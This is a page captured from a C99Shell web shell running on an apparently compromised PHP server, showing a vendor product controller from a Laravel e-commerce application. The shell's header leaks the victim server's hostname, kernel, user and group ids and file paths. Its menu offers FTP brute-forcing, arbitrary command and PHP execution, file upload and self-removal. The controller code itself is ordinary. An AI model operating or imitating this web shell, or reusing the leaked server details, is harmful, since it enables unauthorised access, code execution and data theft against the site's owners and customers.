!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Controllers/Vendor/   drwxr-xr-x
Free 27.18 GB of 117.98 GB (23.04%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ProductController.php (11.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package ProductController
 * @author TechVillage <support@techvill.org>
 * @contributor Sakawat Hossain Rony <[sakawat.techvill@gmail.com]>
 * @contributor Al Mamun <[almamun.techvill@gmail.com]>
 * @created 19-12-2021
 */

namespace App\Http\Controllers\Vendor;

use 
App\DataTables\VendorProductDataTable;
use 
App\Http\Controllers\Controller;
use 
App\Http\Resources\AjaxSelectSearchResource;
use 
App\Http\Resources\ProductResource;
use 
App\Models\{
    
Brand,
    
Category,
    
Product,
    
ProductCategory,
    
Vendor,
    
Attribute,
    
ProductMeta,
    
Tag
};
use 
App\Services\Actions\Facades\VendorProductActionFacade as VendorProductAction;
use 
Illuminate\Http\JsonResponse;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Session;
use 
Modules\Shipping\Entities\ShippingClass;
use 
Modules\Tax\Entities\TaxClass;

class 
ProductController extends Controller
{
    
/**
     * Product List
     * @param ProductListDataTable $dataTable
     * @return mixed
     */
    
public function index(VendorProductDataTable $dataTable)
    {
        
$vendorId optional(auth()->user()->vendor())->vendor_id;
        if (
is_null($vendorId)) {
            
abort(403);
        }
        
$data['productBrands'] = Product::join("brands""products.brand_id""brands.id")
            ->
where("products.vendor_id"$vendorId)
            ->
selectRaw("brands.name, brands.id")
            ->
distinct()
            ->
get();
        
$data['productCategories'] = ProductCategory::join("categories""product_categories.category_id""categories.id")
            ->
join("products""products.id""product_categories.product_id")
            ->
where("products.vendor_id"$vendorId)
            ->
selectRaw("categories.name, categories.id")
            ->
distinct()
            ->
get();

        return 
$dataTable->render('vendor.product.index'$data);
    }

    public function 
createProduct(Request $request)
    {
        if (
$this->ncpc()) {
            
Session::flush();
            return 
view('errors.installer-error', ['message' => __("This product is facing license validation issue.<br>Please contact admin to fix the issue.")]);
        }

        if (
$request->isMethod('get')) {
            
$data['brands'] = Brand::getAll()->where('status''Active');
            
$data['vendors'] = Vendor::getAll()->where('status''Active');
            
$data['categories'] = Category::getAll()->whereNull('parent_id')->where('status''Active');
            
$data['attributeList'] = Attribute::getAll()->unique('name');
            if (
isActive('Shipping')) {
                
$data['shippings'] = ShippingClass::getAll();
            }
            
$data['taxes'] = TaxClass::getAll();
            
$data['tags'] = [];

            return 
view('vendor.product.product'$data);
        }

        
$vendor auth()->user()->vendor();

        if (!
$vendor || !$vendor->vendor_id) {
            if (
$request->wantsJson()) {
                return 
$this->notFoundResponse([], __('Vendor not found.'));
            } else {
                
Session::flash('fail'__('Vendor not found.'));
                return 
redirect()->route('vendor.products');
            }
        }

        
$product Product::create([
            
'name' => $request->name ?? 'Untitled product',
            
'status' => 'Draft',
            
'vendor_id' => $vendor->vendor_id
        
]);

        (new 
ProductCategory)->store([
            
'product_id' => $product->id,
            
'category_id' => 1
        
]);

        
$request->request->add([
            
'permalink' => $product->name,
            
'code' => $product->code,
        ]);

        
$response VendorProductAction::execute('updatePermalink'$request);


        if (
$request->action) {
            
$response VendorProductAction::execute($request->action$request);
            if (!
$response instanceof JsonResponse) {
                return 
$response;
            }
        }

        
$data json_decode($response->getContent(), true);

        
$product Product::where('id'$product->id)->first();

        
$data['response']['url'] = route('vendor.product.edit-action', ['code' => $product->code]);

        
$data['response']['permalink'] = $product->slug;

        
$data['response']['previewUrl'] = route('site.productDetails', ['slug' => $product->slug]);

        
$data['response']['name'] = $product->name;

        
$response->setContent(json_encode($data));

        return 
$response;
    }


    public function 
editProductAction(Request $request)
    {
        
/**
         * Action names
         * 1. update_product_basic_info
         * 2. add_new_attribute
         * 3. get_attributes
         * 4. add_product_variation
         * 5. save-_product_variation
         * 6. get_attribute_form
         * 7. load_product_variations
         * 8. update_tags
         */
        
if (!$request->action) {
            return 
$this->unprocessableResponse([], __('Action name required.'));
        }

        if (
$request->action == 'update_basic_info_web') {
            if (
$this->ncpc()) {
                
Session::flush();
                return 
view('errors.installer-error', ['message' => __("This product is facing license validation issue.<br>Please contact admin to fix the issue.")]);
            }
        }

        return 
VendorProductAction::execute($request->action$request);
    }


    public function 
edit(Request $request)
    {
        
$product VendorProductAction::editModeOn()->execute('getProductWithAttributeAndVariations'$request);

        if (!
$product || $product instanceof JsonResponse) {
            
Session::flash('fail'__('Product not found.'));
            return 
redirect()->route('vendor.products');
        }

        
$vendor auth()->user()->vendor();

        if (!
$vendor || !$vendor->vendor_id || $product->vendor_id != $vendor->vendor_id) {
            
abort(403);
        }

        
/**
         * Product edit code
         */

        
$upsaleId $product->getUpSaleIds();
        
$crossSaleId $product->getCrossSaleIds();
        
$relatedProductIds $product->getRelatedProductIds();
        
$groupedId $product->getGroupedProductIds();

        
$relatedIds array_unique(array_merge(
            
$upsaleId,
            
$crossSaleId,
            
$relatedProductIds,
            
$groupedId
        
));

        
$productsCollection Product::whereIn('id'$relatedIds)->get();

        
$data['productUpsells'] = $productsCollection->whereIn('id'$upsaleId)->pluck('name''id')->toArray();

        
$data['productCrossSells'] = $productsCollection->whereIn('id'$crossSaleId)->pluck('name''id')->toArray();

        
$data['productRelatedProducts'] = $productsCollection->whereIn('id'$relatedProductIds)->pluck('name''id')->toArray();

        
$data['groupedProducts'] = $productsCollection->whereIn('id'$groupedId)->pluck('name''id')->toArray();

        
$data['attributeList'] = Attribute::getAll()->unique('name');

        
$data['product'] = $product;

        
// Old codes
        
$data['vendors'] = Vendor::getAll()->where('status''Active');
        
$data['taxes'] = TaxClass::getAll();

        
$data['brands'] = Brand::getAll()->where('status''Active');
        if (
isActive('Shipping')) {
            
$data['shippings'] = ShippingClass::getAll();
        }

        
//product tag
        
$data['tags'] = $product->tags()->pluck('name''id')->toArray();

        
// Category options
        
$category Category::getAll()->where('id'optional($product->productCategory)->category_id)->first();

        
$parent[] = !empty($category) ?  $category->name null;

        
$parentId[] = !empty($category) ?  $category->id null;

        while (
1) {
            if (!empty(
$category->category)) {
                
$category $category->category;
                
$parent[] = $category->name;
                
$parentId[] = $category->id;
            } else {
                break;
            }
        }

        if (
is_array($parent) && count($parent) > 0) {
            
$parent array_reverse($parent);
            
$parentId array_reverse($parentId);
            
$parent implode(" / "$parent);
        }

        
$data['parentCategory'] = $parent;
        
$data['parentCategoryId'] = $parentId;
        
$data['categories'] = Category::getAll()->whereNull('parent_id')->where('status''Active');
        return 
view('vendor.product.product'$data);
    }


    public function 
findProductAjaxQuery(Request $request)
    {
        if (!
$vendor $this->getVendor()) {
            return 
false;
        }

        
$qString $request->q;

        
$productCode $request->code;

        
$result Product::select('id''name')
            ->
where('vendor_id'$vendor->vendor_id)
            ->
where(
                function (
$query) use ($qString) {
                    
$query->whereBeginsWith('name'$qString)
                        ->
orWhereLike('name'$qString)
                        ->
orWhereBeginsWith('slug'$qString)
                        ->
orWhereLike('slug'$qString);
                }
            )
            ->
published()
            ->
isAvailable()
            ->
notVariation()
            ->
limit(Product::getLimit());

        if (
$productCode) {
            
$result->where("code""!="$productCode);
        }

        
$result $result->get();

        return 
AjaxSelectSearchResource::collection($result);
    }


    public function 
findTagsAjaxQuery(Request $request)
    {
        
$result Tag::whereLike('name'$request->q)->limit(Product::getLimit())->get();
        return 
AjaxSelectSearchResource::collection($result);
    }


    public function 
productJson(Request $request)
    {
        
$product Product::where('code'$request->code)->first();
        return new 
ProductResource($product);
    }

    public function 
deleteProduct(Request $request)
    {
        
$product  Product::whereCode($request->code)->first();
        if (!
$product) {
            
Session::flash('fail'__('Something went wrong. Product not found.'));
            return 
back();
        }
        
$product->delete();
        
Session::flash('success'__('Product has been trashed.'));
        return 
redirect()->route('vendor.products');
    }


    public function 
forceDeleteProduct(Request $request)
    {
        
$product  Product::withTrashed()->whereCode($request->code)->first();
        if (!
$product) {
            
Session::flash('fail'__('Something went wrong. Product not found.'));
            return 
back();
        }
        
$productIds Product::withTrashed()->where('parent_id'$product->id)->get()->pluck('id')->toArray();
        if (
count($productIds) > 0) {
            
Product::withTrashed()->whereIn('id'$productIds)->delete();
        }
        
array_push($productIds$product->id);
        
$product->forceDelete();
        
ProductMeta::whereIn('product_id'$productIds)->delete();
        
Session::flash('success'__('Product deleted permanently.'));
        return 
redirect()->route('product.index');
    }


    private function 
getVendor()
    {
        
$vendor auth()->user()->vendor();

        return 
$vendor ?? null;
    }

    public function 
ncpc()
    {
        
p_c_v();
        return 
false;
    }

    
/**
     * find downloadable products
     *
     * @param Request $request
     * @return \Illuminate\Http\Resources\Json\AnonymousResourceCollection
     */
    
public function findDownloadProducts(Request $request)
    {
        
$products Product::published()->isAvailable()->whereLike('name'$request->q)->where('vendor_id'auth()->user()->vendor()->vendor_id)->whereHas('metadata', function ($query) {
            
$query->where('key''meta_downloadable')->where('value'1);
        })->
limit(10)->get();

        return 
AjaxSelectSearchResource::collection($products);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--